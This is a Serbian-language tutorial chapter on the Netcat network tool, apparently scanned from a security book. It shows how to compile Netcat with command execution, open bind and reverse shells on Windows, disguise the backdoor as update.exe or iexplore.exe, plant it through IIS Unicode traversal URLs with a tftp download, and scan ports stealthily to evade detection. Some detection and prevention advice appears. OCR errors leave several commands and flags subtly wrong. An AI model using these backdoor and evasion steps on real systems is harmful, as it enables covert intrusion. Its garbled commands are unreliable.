|
Prosto govoreci,
Netcat stvara i prihvata TCP (Transmission Control Protocol) i UDP (User Datagram
Protocol) konekcije. To je to! Netcat pise i cita podatke preko ovih konekcija
dok se one ne zatvore. To donosi osnovni TCP/UDP mrezni podsistem koji omogucava
korisniku da manualno ili preko skripta vrsi interakciju sa mreznim aplikacijama
i servisima na aplikativnom nivou. Omogucava nam da vidimo ciste TCP i UDP podatke
pre nego sto oni budu umotani u sledeci visi nivo kao sto je FTP (File transfer
Protocol), SMTP (Simple Mail Transfer Protocol) ili HTTP (Hypertext Transfer
Protocol).
Netcat ne radi nista mastovito. Ne poseduje lep graficki interfejs (GUI) i ne
izdaje svoje rezultate u privlacni izvestaj. On je grub, jednostavan i ruzan,
ali zbog cinjenice da funkcionise na takvom osnovnom nivou omogucava sebi da
bude koristan za mnostvo situacija. Iz cinjenice da sam Netcat ne donosi nuzno
nikakve znacajne rezultate ukoliko se ne koristi u tandemu sa drugim alatima
ili tehnikama, neiskusni korisnik mogao bi da previdi Netcat kao nista vise
nego jedan hvaljeni telnet klijent. Drugi ne bi mogli da vide mogucnosti kroz
argumente komandne linije, detaljno opisane u README fajlu.U svakom slucaju,
cenicete cinjenicu kako Netcat moze biti jedan od najvrednijih alata u Vasem
arsenalu.
Implementacija
Zato sto ima tako puno upotreba, Netcat se cesto poredi sa svajcarskim nozicem
(eng. "Swiss army knife") za TCP/IP u UDP. Pre nego sto naucite da
ga koristite, naravno, moracete da ga preuzmete (eng. download) sa mreze i instalirate.
Preuzimanje
Netcat se moze pronaci na dosta lokacija, mada mnoge Unix distribucije dolaze
sa Netcat binarnim datotekama vec instaliranim, nije losa ideja da pronadete
izvorni kod Netcat-a i sami ga kompajlirate. Po standardnom podesavanju, Netcat
kode se ne kompajlira u nekoliko opcija koje biste zeleli. Preuzimanjem izvornog
koda i pravljenjem izvrsne datoteke, mozete tacno odrediti koje cete Netcat
mogucnosti imati na raspolaganju.
Zvanicni sajt za preuzimanje Netcata za Unix i Windows platforme je http: //www.atstake.eom
/research/tools/.
Sa navedenog web sajta, preuzmite fajl ncl10.tgz. Onda treba da ga otpakujete:
[root@originix
tmp]#
ls nc110.tgz
[root@originix tmp]# mkdir nc
[root@originix tmp]# cd nc
[root@originix tmp]# tar zxf ../nc110.tgz
[root@originix tmp]#
Sada ste spremni za kompajliranje. Slede dve opcije za kompajliranje koje su
vazne:
-GAPING_SECURETY_HOLE Kao sto ime sugerise (otvorena bezbednosna rupa), ova
opcija moze uciniti Netcat opasnim u pogresnim rukama, ali ga takode fini vrlo
mocnim. Sa ovom opcijom ukljucenom, Netcat moze da okupira eksterni program.
Ulaz/izlaz (1/0) tog programa ce teci kroz Netcat kanal podataka. Ovo omogucava
Netcat-u da se ponasa kao lazni inetd alat, omogucavajuci Vam da izvrsite udaljene
komande (kao sto je pokretanje Unix-ovog komandnog okruzenja-eng. shell) jednostavno
stvarajuci TCP i UDP konekcije portu koji osluskuje. Ova opcija nije omogucena
po unapred podesenom stanju jer postoji veliki potencijal za zloupotrebu i pogresnu
podesenost. Medutim, pravilnom upotrebom, ova opcija moze biti kriticna.
-TELNET Uobicajeno, ako koristite Netcat za konekciju sa telnet serverom (koristeci:
nc imeservera 23), necete stici daleko. Telnet serveri i klijenti se dogovore
oko nekoliko opcija pre nego sto se prikaze odzivna linija za logovanje na sistem.
Omogucavanjem ove opcije, Netcat moze odgovoriti ovim telnet opcijama (tako
sto ce reci ne svakoj od njih) i omoguciti Vam da pristupite odzivnoj liniji
za logovanje. Bez ove mogucnosti, morali biste pisanjem skripta da resite problem
odgovaranja telnet opcijama ukoliko ste uopste zeleli da uradite nesto korisno
sa Netcat-om i telnetom.
Verovatno niste
svesni znacaja ovih opcija u ovom trenutku, ali videcete zasto smo ovo izneli
kada vidite neke primere kasnije u ovom poglavlju.
Da biste omogucili obe ove opcije, moracete da dodate DFLAGS liniju na pocetku
fajla koji se zove makefile.
# makefile for netcat, based off same ol' "generic makefile".
# Ususally do "make systype" - if your systype isn't defined, try
"generic"
# or something else that most closely matches, see where it goes wrong, fix
#it, and MAIL THE DIFFS back to Hobbit.
Instalacija
Necemo pokriti detalje preuzimanja, otpakovanja i izgradnje vecine alata . Ali
zbog cinjenice da Vas prvo upoznajemo sa Netcat-om i sto poseduje neke opcije
prilikom kompajliranja koje bi mogle da Vas interesuju, bitno je da zavirimo
u detalje.
### PREDEFINES
# DEFAULTS, possibly overridden by <systype> recursive call:
# pick gcc if you'd rather, and/or do -g instead of -0 if debugging # debugging
# DFLAGS = -DTEST -DDEBUG
DFLAGS = -DGAPGING_SECURETY_HOLE -DTELNET
CFLAGS = -0
Mozete ukljuciti jednu ili obe ove opcije u DFLAGS liniji. Ukoliko zelite da
se poigrate sa primerima koji slede, moracete da ucinite ovu modifikaciju. Medutim,
pre nego sto to ucinite, uverite se da ili posedujete sistem na kome radite
ili da ste potpuno onemogucili pristup drugih korisnika do izvrsnog fajla koji
cete upravo napraviti. Iako je dovoljo lako za druge korisnike da preuzmu sa
mreze kopiju Netcat-a i naprave zavrsni fajl sa ovim opcijama, verovatno ne
biste voleli da vidite kako Vam je sistem hakovan, jer je neko koristio Vasu
"specijalno napravljenu" verziju Netcat-a kao tajni ulaz (eng. backdoor)
u Vas sistem.
Sada ste spremni da izvrsite kompajliranje. Jednostavno otkucajte: make systemtype
u odzivnoj liniji, gde je systemtype (dovoljno cudno) tip Unix-a koji koristite
(koji moze biti: linux, freebsd, solaris itd.) Kada je gotovo, imacete srecni
mali 'nc" binarni fajl koji se nalazi u direktorijumu.
Za korisnike Windows-a, Netcat fajl za preuzimanje (ncllnt.zip) takode dolazi
i u izvornom kodu, ali zato sto vecina ljudi ne poseduje kompajlere na svojim
Windows sistemima, izvrsna verzija je vec kompajlirana sa ove dve opcije standardno.
Prema tome, jednostavno otpakujte fajl
i imate spreman "nc.exe".
Komandna linija
Osnovna komandna linija za Netcat je: nc <opcije> host ports, gde je host
ime domena ili IP adresa za skeniranje i ports je ili jedan port, ili niz portova
(oznacen "m-n") ili individualni portovi odvojeni blanko karakterima
(eng. spaces). Sada skoro ste spremni da vidite neke zapanjujuce stvari koje
mozete uraditi sa Netcat-om. Medutim prvo pogledajte detaljan pregled svake
opcije komande linije da biste imali osnovno razumevanje mogucnosti:
-d Dostupna jedino na Windows-u, ova opcija stavija Netcat u skriveni mod, omogucavajuci
mu da se podeli i radi nezavisno od kontrolne MS-DOS odzivne linije. Omogucava
da Netcat radi u prislusnom modu bez potrebe da ga drzite u otvorenom komadnom
prozoru. Takode pomaze hakeru da bolje sakrije pokrenuti Netcat od sistem administratora.
-e <command> Ukoliko je Netcat kompajliran sa GAPING_SECURITY HOLE opcijom,
u prislusnom modu ce izvrsiti <command> kada neko napravi konekciju na
port koji Netcat prisluskuje u tom trenutku, dok ce klijent Netcat proslediti
podatke drugoj kopiji Netcat-a koja prisluluskuje. Koriscenje ove opcije je
izuzetno opasno ukoliko neznate tacno sta radite. To je lak i brz nacin za postavljenje
backdoor komandnog okruzenja na sistem (primeri slede).
-i <seconds> Vremenski interval koji je kolicina vremena koje Netcat saceka
izmedu slanja podataka. Na primer kada se prosleduje fajl Netcat-u, on ce sacekati
<seconds> sekundi pre nego sto posalje sledecu liniju ulaznih podataka.
Kada koristite Netcat na vise portova na domenu, Netcat ce sacekati <seconds>
sekundi pre nego sto kontaktira sledeci port u liniji. Ovo moze omogucîti
korisnicima da stvore prenos podataka ili da napad na servis izgleda manje po
skriptu i tako zadrzati Vase skeniranje portova van domasaja radara nekog sistema
za detekciju upada i sistem administratora.
-g <route-list> Koriscenje ove opcije moze biti lukavo. Netcat podrzava
labavo rutiranje izvora (objasnjeno kasnije u sekciji "Smestite prijatelju:
IP varanje"). Mozete naznaciti do osam -g opcija u komandnoj liniji da
biste primorali Netcat saobracaj da prolazi preko odredenih IP adresa, sto je
korisno ukoliko skrivate IP adresu izvora Vasih podataka (u pokusaju da zaobidete
filter mrezne blokade ili liste adresa kojima je dozvoljen pristup) i zelite
da primite odziv sa domena. Rutiranje izvora preko masine nad kojom imate kontrolu,
mozete naterati pakete podataka da se vrate Vasoj adresi umesto da zavrse na
pravoj destinaciji. Imajte na umu da ovo uglavnom nece raditi, jer vecna rutera
ignorise opciju rutiranja izvora i vecina filtera portova i mreznih blokada
prave log Vasih pokusaja.
-G <hop pointer> Ova opcija Vam omogucava da uticete na to koja IP adresa
u Vasoj -g listi ruta je trenutno sledeca. Iz razloga sto su IP adrese 4 bajta
u velicini, ovaj argument se uvek javlja u umnoscima broja 4, gde se 4 odnosi
na prvu IP adresu u rut listi, 8 na drugu itd. Ovo je korisno ako zelite da
falsifikujete delove rut liste izvora da ucinite da izgleda kao da dolazi sa
nekog drugog mesta. Stavljajuci lazne adrese na prva dva mesta u Vasoj -g listi
i postavljanjem skok pointera -g opcijom na 12, paket ce biti usmeren pravo
ka trecoj IP adresi u Vasoj rut listi. Stvarni sadrzaj paket ce, inace, jos
uvek sadrzati lazne IP adrese, cineci da izgleda kao da je paket stigao sa jedne
lokacije iako je u stvari sa neke druge. Ovo moze pomoci da maskirate odakle
dolazite kada vrsite prikrivanje IP adrese i rutiranje izvora, ali necete nuzno
biti u mogucnosti da primite odziv jer ce pokusati da preokrene rutu preko Vase
falsifikovane IP adrese.
-I Ova opcija ukljucuje i iskljucuje Netcat-ov "prislusni" mod. Ova
opcija mora biti koriscena zajedno sa - p opcijom da bi uputili Netcat da se
veze za bilo koji TCP port koji naznacite i da ceka dolazece konekcije. Dodajte
-u opciju da biste koristili UDP portove umesto TCP.
-L Ova opcija, dostupna jedino u Windows verzijama, je jaca "prislusna"
opcija nego -l. Ona nalaze Netcat-u da restartuje prislusni mod sa istim opcijama
komandne linije posle zatvaranja konekcije. Ovo omogucava Netcat-u da prihvati
buduce konekcije bez intervencije korisnika, cak iako je Vasa inicajlna konekcija
zavrsena. Kao i -l, takode zahteva - p opciju.
-n Upucuje Netcat da ne vrsi bilo kakvu pretragu imena domena. Ako koristite
ovu opciju na komandnoj liniji, uverite se da ne naznacite bilo koje ime domena
kao argument.
-o <hexfile> Vrsi pretvaranje podataka u heksadecimalni kod i prebacuje
ih u <hexfile >. Komanda nc -o hexfile snima protok podataka u oba smera
i zapocinje svaku liniju sa < ili > da bi se naznacili dolazeci i odlazeci
podaci respektivno. Da biste dobili samo hex zapis samo dolazecih podataka,
koristili biste komandu nc -o <hexfile, i obrnuto, za odlazeci nc -o >hexfile.
-p <port> Omogucava Vam da naznacite broj lokalnog porta koji ce Netcat
koristiti. Ovaj argument je neophodan kada koristite -i ili -L opcije za prislusni
mod. Ako nije naznaceno za odlazece konekcije, Netcat ce koristit bilo koji
port koji dobije od sistema, bas kao i vecina drugih TCP i UDP klijenta. lmajte
na umu da na Unix-u jedino root korsnici mogu naznaciti koriscenje broja porta
ispod 1024.
-r Netcat bira lokalni ili udaljeni port. Ovo je korisno kada koristite Netcat
da dobijete informacije o velikom opsegu portova na sistemu i zelite da pomesate
red i izvornih i destinacionih portova da biste ucinili da manje izgleda kao
skeniranje portova. Kad se ova opcija koristi zajedno sa -i opcijom i dovoljno
velikim intervalom, port skeniranje ima jos vece sanse da prode nezapazeno osim
ukoliko sistem administrator pazljivo i detaljno pregledava logove.
-s Naznacava izvornu IP adresu koju Netcat treba da koristi kada stvara svoje
konekcije. Ova opcija omogucava hakerima da rade neke vrlo podle trikove. Prvo,
omogucava im da sakriju svoju ili falsifikuju tudu.IP adresu, ali da bi preusmerili
bilo koju informaciju preko lazirane adrese, morali bi da koriste -g opciju
za rutiranje izvora. Drugo, kada je u prislusnom modu, mnogo puta se mozete
"prikaciti" ispred servisa koji se vec prisluskuje. Svi TCP i UDP
servisi se vezuju za port, ali se nece svi vezati i za odredenu IP adresu. Mnogi
servisi po unapred definisanom stanju prisluskuju sve dostupne interfejse. Syslog,
na primer, osluskuje UDP port 514 za syslog saobracaj. Medutim, ako pokrenete
Netcat da osluskuje port 514 i upotrebite - s opciju da naznacite izvornu IP
adresu, sav saobracaj ka toj naznacenoj IP adresi ce otici prvo ka Netcat-u
koji osluskuje! Zasto? Ukoliko soket (sistemski interfejs za implementaciju
TCP/IP saobracaja) odredi i port i IP adresu, dobija prioritet nad soketima
koje se nisu vezali za specificnu IP adresu. O tome cemo detaljnije govoriti
kasnije (vidite deo "Otimanje servisa") i pokazati Vam kako da raspoznate
na koji servis se moze prikaciti.
-t Ako se kompajlira sa TELNET opcijom, Netcat ce biti u mogucnosti da obraduje
pregovor telnet opcija sa telnet serverom, odgovarajuci sa beznacajnim informacijama,
ali Vam omogucava login odzivnu liniju koju ste veorvatno i trazili koristeci
Netcat za konekciju na TCP port 23.
-u Nalaze Netcat-u da koristi UDP umesto TCP-a. Funkcionise i u klient i u prislusnom
modu.
-v Kontrolise koliko Vam Netcat govori o tome sta radi. Ne koristite -v, i Netcat
ce samo izbaciti podatke koje prima. Jedno -v ce Vam omoguciti da znate na koju
adresu se povezuje ili konektuje i ako se javi neki problem. Dva -v Vas obavestava
koliko podataka je poslato i primljeno na kraju konekcije.
-w <seconds> Kontrolise koliko ce Netcat cekati pre nego sto odustane
od konekcije. Takode govori Netcat-u koliko dugo da ceka posle posle primanja
EOF (end-of-file- kraja fajla) preko standardnog ulaza i zatvaranja konekcije
i izlaza. Ovo je bitno ukoliko saljete komandu kroz Netcat udaljenom serveru
i ocekujete veliku kolicinu podataka u povratku (na primer, slanje HTTP komande
serveru za preuzimanje velikog fajla).
-z Ukoliko Vas interesuje koji portovi su otvoreni, verovatno biste trebali
koristiti nmap Ali, ova opcija nalaze Netcat-u da salje samo onoliko podataka
da bi otkrio koji portovi u Vasem naznacenom opsegu stvarno imaju nesto sto
ih osluskuje.
Sada, kada imate predstavu o mogucnostima Netcat-a, pogledajte neke realne prakticne
primere iz upotrebe ovog alata.
101 upotreba Netcat-a
Ljudi tvrde da su otkrili stotine nacina za upotrebu Netcat-a u dnevnim poslovima.
Neki od ovih zadataka su slicni, razlikujuci se vrlo malo. Pokusali smo da Vam
predstavimo nekoliko koji, kao i Netcat, su opsti i pokrivaju najsire podrucje.
Evo onih primera za koje smatramo da su najvazniji.
Pribavijanje udaljenog
pristupa komandnom okruzenju
Zar ne biste zeleli da mozete da dobijete DOS odzivnu liniju od kuce, bilo gde
u svetu? Pokretanjem komande nc. exe -1 - p 4455 - e cmd.exe iz DOS odzivne
linije na NT ili Windows 2000 sistemu, svako ko se telnetom poveze na taj sistem
preko porta 4455, naici ce na DOS komandno okruzenje cak i bez potrebe da su
uloguje.
[root@originx
/root]# telnet 192.168.1.101 4455 Trying 192.168.1.101...
Connected to 192.168.1.101.
Escape character is '"]'.
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:>
Connection closed by foreign host.
[root@originix /root]#
Vrlo jednostavno, zar ne? Ali je takode i dosta zastrasujuce. Bez mnogo truda,
obezbedili ste odzivnu liniju na sistemu. Medutim, na Windows NT i 2000 sistemima,
imacete iste pristupe i priviliegije kao i korisnik koji je pokrenuo Netcat.
Upad na ovaj nacin u Windows 95 i 98 (koristeci command.com umesto cmd.exe)
ce Vam dati kontrolu nad celim sistemom. Ovo pokazuje kako Netcat moze biti
opasan u pogresnim rukama.
Hajde da malo
razradimo ovu komandu. Imajte na umu da ce Netcat raditi unutar DOS prozora
koji inicajlno pokrenut. Ovo znaci da kontrolni DOS prozor treba da ostane otvoren
dok Netcat radi. Koristeci -d opciju da ga odvojite od komandnog prozora treba
da omoguci Netcat-u da nastavi sa radom cak i posle zatvaranja komandnog prozora.
C:>nc.exe -1
-p 4455 -d -e cmd.exe
Ovo bolje zavrsava posao skrivanja Netcat bekdora. Medutim, ako se neko telnetom
poveze na port 4455, cim pre taj korisnik okonca konekciju, Netcat ce po standardnoj
podesenosti misliti da je zavrsio i zaustavice osluskivanje. Koristite - L opciju
umesto -1 da biste mu nalozili da osluskuje jace (nastavi da osluskujes i ponovo
pocni sa istom komandnom linijom posle zavrsetka pve konverzacije).
/C:>nc.exe
-p 4455 -d -L -e cmd.exe
Ovo moze omoguciti hakeru povratak u sistem dok sistem administrator ne uoci
bekdor videvsi pokrenuti nc.exe u task menadzeru. Haker moze ovo imati na umu
i preimenovati nc.exe u nesto drugo.
C:>move nc.exe
c:WindowsSystem32Driversupdate.exe
C:>WindowsSystem32Driversupdate.exe -p 4455 -d -L -e cmd.exe
Sistem administratoru
moze promaci nesto bezopasno kao update.exe-sto moze biti bilo sta. Haker isto
tako moze sakriti i komandnu liniju. Jos jedna osobina Netcat-a je da ako ga
pokrenete bez komandne linije on ce sam zatraziti opcije komandne linije na
prvoj linije standardnog ulaza:
C:>WindowsSystem32Driversupdate.exe
Cmd line: -1 -p 4455 -d -L -e cmd.exe
C:>
Sada, ako sistem
administrator pokrene poverljivu komandu netstat -a -n u DOS promptu, primetice
da je nesto pokrenuto na dosta cudnom portu, telnetom ce povezati na taj port
i otkriti trik. Medutim, Windows koristi nekoliko slucajno odabranih portova
za razlicite razloge pa netstat-ov izlaz moze oduzeti dragoceno vreme za analizu,
narocito na sistemima sa puno aktivnosti.
Hakeri mogu probati drugaciji pristup. Ako se infiltriraju na Citrix server,
na primer, kojem pristupaju nekoliko korisnika koji surfuju Web-om, treba ocekivati
dosta DNS (Domain Name System) zahteva i Web konekcija. Pokretanje netstat -a
-n ce otkriti puno odlazecih TCP konekcija na port 80. Umesto da pokrenete Netcat
u prislusnom modu na sistemu i cekate na konekcije, Netcat moze proslediti ulaz/izlaz
cmd.exe programa drugoj pokrenutoj kopiji Netcat-a koja osluskuje na udaljenom
sistemu na portu 80. Na svom kraju, haker treba da pokrene:
root@originix
/root]# nc -1 -p 80
Sa Windows sistema haker moze pametno "sakriti" Netcat ponovo, i proslediti
sledece komande:
C:>mkdir C:WindowsSystem32Driversq
C:>move nc.exe C:WindowsSystem32Driversqiexplore.exe
C:>cd WindowsSystem32Driversq
C:WINDOWSSystem32DRIVERSq>iexplore.exe
Cmd line: -d -e cmd.exe originix 80
C:WindowsSystem32DRIVERSq>
Sada bi prisluskujuci Netcat trebao podicî komandno okruzenje sa Windows
masine. Ovo moze zavrsiti bolji posao sakrivanja bekdora od sistem administratora.
Na prvi pogled, konekcije ce izgledati bas kao Internet Explorer koji stvara
tipicne HTTP konekcije. Jedina mana za hakera je to sto posle zatvaranja komandnog
okruzenja, ne postoji nacin da ga ponovo pokrenete na Windows strani.
Postoji nekoliko nacina na koje sistem administrator moze otkriti infiltraciju
prljavog Netcat-a:
-Koristecï
alat za pretragu fajlova u Windows-u i trazeci sve fajlove koji sadrze tekst
,listen mode" ili "inbound connects". Svi izvrsni fajlovi koji
se pojave mogu biti Netcat.
•
-Proveriti task menadzer za bilo koji prljavi cmd.exe fajl. Ukoliko haker nije
preimenovao cmd.exe, mozete ga takode otkriti dok koristi udaljeno komandno
okruzenje jet ce cmd.exe biti pokrenut iz razloga koji je Vama nepoznat.
-Koristeci netstat
komand da bi video koji se portovi trenutno koriste i koje aplikacije ih koriste.
Inace, budite oprezni sa netstatom. Netstat moze lako biti zamenjen sa "trojan"
verzijom programa koja je specijalno napravljena da bi haker prikrio odredenu
aktivnost. Takode, netstat nekada nece prijaviti osluskujuci TCP soket dok nesto
nije povezano na njega.
Upravo ste videli dva razlicita nacina da dobijete udaljeno komandno okruzenje
na Windows sistemu. Ocigledno, neki drugi faktori koji mogu da uticu na uspeh
sa obe metode ukljucuju srednje zastitne barijere, port filtere ili proxy servere
koji zapravo filtriraju HTTP zaglavlja (samo da imenujemo nekoliko).
Posebno ova upotreba Netcata je bila pokretacka snaga nekih popularnih exploita
IIS-a (Internet Informatio Server) 4.0 Microsoft Data Access Components (MDAC)
i Unicode osetljivosti. Nekoliko varijacija postoji, ali u svim slucajevima
exploiti koriste ove slabosti, koje omugacavaju bilo kome da komande na sistemu
kao IIS korisniku koristeci specijalno kreirane URL-ove. Ovi exploiti mogu iskoristiti
program kaosto je Trivial File Transfer Protocol (TFTP) ako je instaliran, prebaciti
nc.exe sa udaljenog sistema na kome je pokrenut TFTP server, pokrenuti jednu
od bekdor komandi. Evo URL-a u pokusaju da iskoristi TFTP za preuzimanje Netcat-a
sa udaljene lokacije koristeci exploit Unicode osetljivosti:
http://10.10.0.1/scripts/../%c1%pc/../winnt/system32/cmd.exe?/c+tftp%20
i%20originx&20GET%20update.exe
Ukoliko je uspesna,
ova komanda ce efektivno smestiti Netcat na 10.10.0.1 u Interpub poddirektorijum
direktorijuma Scripts kao update.exe. Haker onda moze pokrenuti Netcat koristeci
drugi URL:
http://10.10.0.1/scripts/../%ci/pc/../inetpub/scripts/update.exe?-l%20-d%20L%20-p%20443%20-e%20cmd.exe
Povezivanje telnetom
na sistem preko porta 443 treba da obezbedi komandni prompt. Ovo je efektan
i jednostavan napad i cak moze biti izvrsen skriptom i automatizovan. Medutim,
ovaj pristup ostavlja tragove iza sebe. Pre svega, svi URL koji su korisceni
bice smesteni u IIS logovima. Pretrazivanjem IIS logova za tftp ce otkriti da
li je neko pokusavao ovaj napad. Takode, vecina aktuelnih IDS verzija ce traziti
URL-ove formatirane na ovaj nacin (t.j. URL sadrzi cmd.exe ili specijalne Unicode
karaktere). Postoji nekoliko nacina kojima mozete izvrsiti prevenciju napada
ovog tipa.
-Obezbedite da IIS koristi najnoviji sigurnosni paket.
-Blokirajte odlazece konekcije sa Vaseg web servera na mreznoj barijeri (firewall).
U vecmi slucajeva Vas web server ne bi trebao da inicira konekcije ka ostatku
sveta. Cak iako je IIS osetljiv, TFTP ce propasti jer nece biti u mogucnosti
da se poveze sa TFTP serverom napadaca.
Pritajeno skeniranje
portova (nalik coveku)
Iz razloga sto Netcat moze da pregovara sa opsegom portova, dosta ocigledna
primena bi bila kao port skener. Vasa prva ideja bi bila da Netcat povezete
sa mnostvo portova na ciljnom hostu:
[root@originx
nc]# ./nc target 20-80
Ali, ovo nece raditi. Upamtite da Netcat nije specificno port skener. U ovoj
situaciji, Netcat bi poceo kod porta 80 i pokusava TCP konekcije dok nesto ne
odgovori. Cim dobije odgovor, Netcat bi cekao na standardni ulaz pre nego sto
nastavi. Ovo nije ono sto nam treba.
Resenje je -z opcija. Ova opcija nalaze Netcat-u da salje minimalnu kolicinu
podataka da bi dobila odgovor s otvorenog porta. Kada se koristi - z mode, nemate
mogucnost opcije prenosa bilo kakvog ulaza ka Netcat-u (pa i sama opcija glasi
"Nula I/O mod" , nula-eng. zero i odatle -z), a takode necete videti
ni izlaz. Posto Vam -v opcija uvek daje detalje o konekciji koje Netcat pravi,
mozete je koristiti da vidite rezultat skeniranja portova. Bez nje...pa... necete
videti nista kao sto mozete primetiti ovde:
[root@originix
nc]# ./nc -z 192.168.1.100 20-80
[root@originix nc]# ./nc -v -z 192.168.1.100 20-80
originix [192.168.1.100] 80 (www) open
originix [192.168.1.100] 23 (telnet)
open originix [192.168.1.100] 22 (ssh) open
originix [192.168.1.100] 21 (ftp) open
[root@originix nc]#
Posle upotrebe -v opcije, mozete videti nesto sumnjivo izmedu portova 20 i 80.
Kako ovo izgleda u syslog-u?
Feb 12 03:50:23
originix sshd[21690]: Did not recive ident string from 192.168.1.105.
Feb 12 03:50:23 originix telnetd[21689]: ttloop: read: Broken pipe Feb 12 03:50:23
originix ftpd[21691]: FTP session closed
Primeticete kako
su se svi dogadaji dogodili u isto vreme i sa inkrementima protes ID-a (21689
do 21691). Zamislite da ste skenirali sirok opseg portova. Krajnji ishod bi
bio dosta veliki trag. A neki servisi, cak su i toliko drski da odaju IP adresu
skenera.
Cak iako skenirate portove na kojima nista nije aktivno (i zbog toga ne zavrsite
u hostovom syslog-u), vecina mreza poseduje sistem detekcije upada koji ce odmah
oznaciti ovaj oblik ponasanja i privuci paznju administratora. Neke aplikacije
mreznih barijera ce automatski blokirati IP adresu sa koje prime previse konekcija
u kratkom vremenskom periodu.
Netcat omogucava nacine da ucinite skeniranje nesto diskretnijim. Mozete koristiti
- i opciju da namestite interval izmedu prenosa podataka. Duze ce trajati dobijanje
informacija, ali su vece sanse da skeniranje promakne radaru. Upotreba - r opcije
da izmesate redosled po kome Netcat skenira portove ce takode pomoci da skeniranje
manje ili na skeniranje portova:
./nc -v -z -r
-i 42 192.168.1.00 20-80
Ovim kazete Netcat-u da sucajno izabere portove izmedu 20 i 80 na 192.168.1.100
i pokusa da se poveze na njih svakih 42 sekunde. Ovo ce definitivno promaci
bilo kojoj automatizovanoj odbrani, ali ce dokaz skeniranje jos uvek biti na
logovima cilja; bice samo rasejaniji.
Mozete raditi isti nacin prikrivenog skeniranja portova koristeci i UDP. Jednostavno
dodajte -u komandnoj liniji za pregled UDP umesto TCP portova.
Netcat nije najsofisticiraniji
alat za upotrebu u port skeniranju. Zato sto se moze koristiti za mnoge opste
namene umesto da izvrsava jedan zadatak izuzetno dobro, mozda bi bilo bolje
da koristite port skener koji je specijalno napisan za tu svrhu.
Identifikujte se: servisi prosipaju svoje utrobe
Posle upotrebe Netcat-a ili posvecenog port-skener alata kao sto je nmap da
biste utvrdili koji portovi su otvoreni na sistemu, mozda biste zeleli da budete
u mogucnosti da dobijete jos informacija o tim portovima. To obicno mozete postici
konektovanjem na port; servis ce odmah izbaciti broj verzije, datum stvaranja
i mozda i operativnog sistema na kome lezi sistem. Stoga, trebali biste biti
u mogucnosti da koristite Netcat za skeniranje odredenog opsega portova i formiranja
izvestaja o ovim servisima.
Imajte na umu, mada, da biste automatizovali Netcat, morate obezbediti ulaz
za komandnu liniju kako ne bi bio blokiran cekajuci na standardan unos od korisnika.
Ukoliko prosto pokrenete: nc 192.168.1.100 20-80, necete otkriti mnogo, jer
ce se blokirati na prvoj konekciji (verovatno web server koji slusa port 80)
i onda ce cekati na Vasu reakciju. Zato morate da smislite nesto da bi ste odgovorili
na sve ove servise kako bi ih ubedili da nam kazu nesto vise o sebi. Kako ispada,
govoreci servisima da prekinu (eng. QUIT) stvarno ih dovodi do zabune, i u procesu
oni ce otvoriti svoje duse.
Hajde da probamo protiv portova 21 (FTP), 22 (SSH-Secure Shell-obezbedi komandno
okruzenje) i porta 80 (HTTP) i videti sta ce nam serveri reci.
[root@originix
nc]# echo QUIT I ./nc -v 192.168.1.100 21 22 80
originix [192.168.1.1001 21 (ftp) open
220 originix FTP server (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999) ready.
221 Goodbye.
originix [192.168.1.100] 22 (ssh) open SSH-2.0-OpenSSH 2.3.Opl Protocol mismatch.
originix [192.168.1.100] 80 (www) open
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <HTML><HEAD>
<TITLE>501 Method Not Implemented</TITLE> </HEAD><BODY>
<H1>Method Not Implemented</H1>
QUIT to /index.html not supported.<P> Invalid method in request QUIT<P>
<HR>
<ADRESS>Apache/1.3.14 Server at 127.0.0.1 Port 80</ADRESS> </BODY></HTML>
[root@originix nc]#
Izlaz nije lep, ali sada znamo verzije ova tri servisa. Haker moze koristiti
ovo da potrazi starije verzije servisa koji su osetljivi na exploite (http:
//www.securityfocus.com/ je odlicno mesto gde mozete nacî informacije
o osetljivim verzijama servisa). Haker koji pronade posebno interesantan port
mogao bi da dobije jos i vise informacija fokusirajuci se na te servise i pokusavajuci
da govori njihovim jezikom.
Hajde da se fokusiramo na Apache Web server. QUIT nije komanda koju taj HTTP
razume. Pokusajmo da mu kazemo nesto sto bi mogao shvatiti.
[root@originix nc]# ./nc -v 192.168.1.100 80
originix [192.168.1.100] 80 (www) open GET / HTTP
HTTP/1.1 200 OK
Date: Tue, 12 Feb 2002 09:43:07 GMT
Server: Apache/1.3.14 (Unix) (Red-Hat/Linux)
Last-Modified: Sat, 05 Aug 2000 04:39:51GMT
ETag: "3x107-24-398b9a97" Accept-Ranges: bytes
Content-Length: 36 Connection: close
Content-Type: text/html
I dont think you meant go here.
[root@originix nc]#
Sto je ovo fino!
Razmenili smo malo osnovnog HTTP-a (postavljajuci GET / HTTP komandu i onda
pritiskanjem ENTER dva puta) i Apache je odgovorio. Omogucio nam je da vidimo
osnovnu index.html stranu sa svim HTTP zaglavljima netaknutim i bez interpretacija
na nivou aplikacija sto bi inace Web pretrazivac ucinio. A Server zaglavlje
nam govori ne samo da radi Apache na Linux sistemu, nego da radi na RedHat Linux
sistemu.
Komunikacija sa
UDP uslugama
Pomenuli smo kako je ponekad Netcat predviden kao nista vise do jedan slavljeni
telnet klijent. Mada je tacno da vecina stvari koje Netcat radi (kao sto je
razmena HTTP-a direktno sa serverom) moze biti zavrsena koristeci telnet, telnet
poseduje puno limitacija koje Netcat nema. Pre svega, telnet ne moze vrsiti
dobro transfer binarnih podataka. Neke od podataka ne moze interpretirati kao
telnet opcije. Zato, telnet Vam ne nudi stvarno transportni sloj cistih podataka.
Drugo, telnet zatvara konekciju cim njegov ulaz dostigne EOF. Netcat ce ostati
otvoren dok se mrezna strana ne zatvori, sto je korisno za upotrebu skripta
u inicijaciji konekcija koje ocekuju velike kolicine primljenih podataka kada
salju samo jednu liniju ulaza. Medutim, verovatno najbolja osobina Netcat-a
koju ima nad telnet-om je da Netcat govori UDP.
Sanse su da ste pokrenuli syslog demon na Vasem UNIX sistemu-zar ne? Ako je
Vas syslog konfigurisan da prima poruke sa drugih hostova na Vasoj mrezi, videcete
nesto na UDP portu 514 kada postavite: netstat -a -n komandu. (Ukoliko ne, pogledajte
syslogd man stranu o tome kako da pokrenete syslog u mreznom modu). Jedan od
nacina da utvrdite da li syslog prihvata UDP pakete je da pokusate ga da pratite
i onda vidite da li se nesto pojavljuje u logu:
[root@originix
nc]# echo "<0>I can speak syslog" | ./nc -u 192.168.1.100 514
Message from syslogd@originix
at Tue Feb 12 06:07:48 2002 ... originix I can speak syslog
punt!
